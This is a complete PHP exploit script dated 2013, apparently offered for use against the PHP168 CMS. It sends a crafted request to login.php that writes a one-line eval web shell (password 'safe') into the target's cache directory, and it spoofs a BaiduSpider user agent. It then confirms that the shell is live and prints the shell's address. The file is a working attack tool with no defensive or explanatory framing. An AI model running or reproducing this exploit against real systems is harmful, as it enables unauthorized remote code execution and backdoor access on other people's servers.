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<?php
/**
 * Name: php168_getshell.php
 */
print_r('
+------------------------------------------------------+
             PHP168 login.php GetShell EXP
                            Time：2013-11-19
+------------------------------------------------------+
');
if ($argc < 3) {
    print_r('
+------------------------------------------------------+
Useage: php ' . $argv[0] . ' host path
Host: target server (ip/hostname)
Path: path of login.php
Example: php ' . $argv[0] . ' localhost /php168
+------------------------------------------------------+
    ');
    exit;
}
error_reporting(7);
$host = $argv[1];
$path = $argv[2];
$shell = 'safe.php';
$code = '<?php%20@eval($_POST[safe])?>';
$url = "http://$host/$path/cache/$shell";
echo '正在GetShell,请稍候……' . "\n\n";
send_pack();
shell_ok($url);
//判断shell是否写入成功
function shell_ok($url)
{
    $headers = get_headers($url);
    if (strpos($headers[0], 'HTTP/1.1 200 OK') === 0) {
        echo '恭喜大爷，一句话写入成功，密码为：safe' . "\n\n" . 'Shell地址为：' . $url . "\n";
    } else {
        echo 'Shell写入失败,请尝试更换目录测试。' . "\n";
    }
}
//发送数据包函数
function send_pack()
{
    global $host, $path, $shell, $code;
    $data = "GET " . $path . "/login.php?makehtml=1&chdb[htmlname]=$shell&chdb[path]=cache&content=$code HTTP/1.1\r\n";
    $data .= "Host: $host\r\n";
    $data .= "User-Agent: BaiduSpider\r\n";
    $data .= "Connection: Close\r\n\r\n";
    $fp = @fsockopen($host, 80, $errno, $errstr, 30);
    //echo ini_get('default_socket_timeout');//默认超时时间为60秒
    if (!$fp) {
        echo $errno . '-->' . $errstr . "\n";
        exit('Could not connect to: ' . $host);
    } else {
        fwrite($fp, $data);
        $back = '';
        while (!feof($fp)) {
            $back .= fread($fp, 1024);
        }
        fclose($fp);
    }
    return $back;
}
?>